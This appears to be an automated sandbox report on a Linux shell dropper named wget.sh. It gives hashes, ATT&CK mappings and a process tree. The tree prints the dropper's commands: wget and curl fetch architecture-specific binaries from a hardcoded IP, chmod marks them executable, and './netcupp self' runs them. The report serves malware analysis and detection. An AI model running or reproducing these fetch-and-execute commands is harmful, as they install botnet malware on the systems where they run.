9b1a7f7713da9688b0ee16b5976a8557a467cc7a0101ada306e2eb298f7cc71a

Analysis

max time kernel
136s
max time network
142s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/06/2026, 12:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
wget.sh
Size 2KB
Sample260602-pe115acy3v
SHA256 9b1a7f7713da9688b0ee16b5976a8557a467cc7a0101ada306e2eb298f7cc71a
MD5 34ad813a81201fc79191c536c64790f9
SHA1 5a4fa098a5883873b2a118c261500e228d8eef59
SHA512 4c3c112703749d668b497b5565afca00bee53597eb62c1231dc0ae89ad4bd8c9037163e4ff6c2717bd0d0172c6672fd4ff852bf069dbe1089c8a2f96cee0c9bf
TLSH
T1984187F80082437C7DF19B3ABAA9404D77E5A29BACC6DFC164F434A6864DDB03C90599
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
742	chmod
827	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/netcupp	743	wget.sh
/tmp/netcupp	828	wget.sh

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-2.dat	upx
behavioral4/files/fstream-6.dat	upx

Reads runtime system information 3 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
745	wget
825	curl
826	cat

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/main_x86	wget
File opened for modification	/tmp/main_x86	curl
File opened for modification	/tmp/netcupp	wget.sh
File opened for modification	/tmp/main_mips	wget
File opened for modification	/tmp/main_mips	curl

/tmp/wget.sh
/tmp/wget.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:715
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:718
- /usr/bin/wget
  wget http://83.142.209.67/main_x86
  2⤵
  - Writes file to tmp directory
  PID:724
- /usr/bin/curl
  curl -O http://83.142.209.67/main_x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/cat
  cat main_x86
  2⤵
  PID:741
- /bin/chmod
  chmod +x busybox main_x86 netcupp systemd-private-f77524c9647043c6b7b9ba453692ba4f-systemd-timedated.service-JytJ72 wget.sh
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/netcupp
  ./netcupp self
  2⤵
  PID:743
- /usr/bin/wget
  wget http://83.142.209.67/main_mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://83.142.209.67/main_mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:825
- /bin/cat
  cat main_mips
  2⤵
  - System Network Configuration Discovery
  PID:826
- /bin/chmod
  chmod +x busybox main_mips main_x86 netcupp wget.sh
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/netcupp
  ./netcupp self
  2⤵
  PID:828
- /usr/bin/wget
  wget http://83.142.209.67/main_x86_64
  2⤵
  PID:830

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

busybox

Path /tmp/busybox
Size 857KB
SHA256 80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c
MD5 6ffc46165b5d9726a6607f3ea5305589
SHA1 ab127220f42e816b413dde0d17031e251a7bc98f
SHA512 456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8
SSDEEP 12288:JPhF2a+T7dHoLBMr/PgVbC47UnA+x9toFOUKPmG3QnPB9AG+PZQCfjrcDIQmin4D:JPhF2HTchw+jK+zFrCNYa+WUXSXPDd
TLSH
T195155C029F141FEBC8DBCD318A2DD36714EDCC9F02DA567A78BC8888764A64E9DD7448
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

main_mips

Path /tmp/main_mips
Size 60KB
SHA256 88288b59a32da4b8ebbd362de871189c1101e8b90d2108c444e31bc8c462b6f8
MD5 74f69ca619fcefc703c922e2670da196
SHA1 589d379c114862ed31be0e3dc952778ebac0f31d
SHA512 5264e9960588c28271a79780d84bebe9841022019b6e48a0bfdc97f85e1cc748a26b9dae87f84eb304d486dcc21b3cabbaf3702d4e0976e26ba356596dce80f5
SSDEEP 1536:ouwAht8biDyM/wt2DVOxp0MBgwHeiWA7Yy7xJAmrx8ZKHOKeQD5:3Bt8biDyKMsOxuMr+w7Yy7nHx8ZJG5
TLSH
T16F530223BC951A62E243DBF142D0A9DD569BCAC3CC9498B2505CFCAECF242687F755B0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

main_x86

Path /tmp/main_x86
Size 37KB
SHA256 b5fa1d756bf90514b753bacc59f293143258aaad6e9ef6efb8b5b5231e826ae3
MD5 f254d95391d2523892663868d400453b
SHA1 3ef84642e2713aeb41192a31f543c9f2dfbe2729
SHA512 4b746250a4af337be3e7fdd1ad50d663519dc7f65cdece6a4b9046b169686c3080c50da53dcb827f53504dd232babebf28cba9dc904a1e5b03199893db2a7c7a
SSDEEP 768:BEgrNnu3ns2KLhQWiVirnN9dZlQoDvJdAru:6grUhKLh3iuLZl3AK
TLSH
T17303F160643708B5C796B576638D04B5AF5B9D0337DAE0480CCD5D33A0B326DB368BB6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads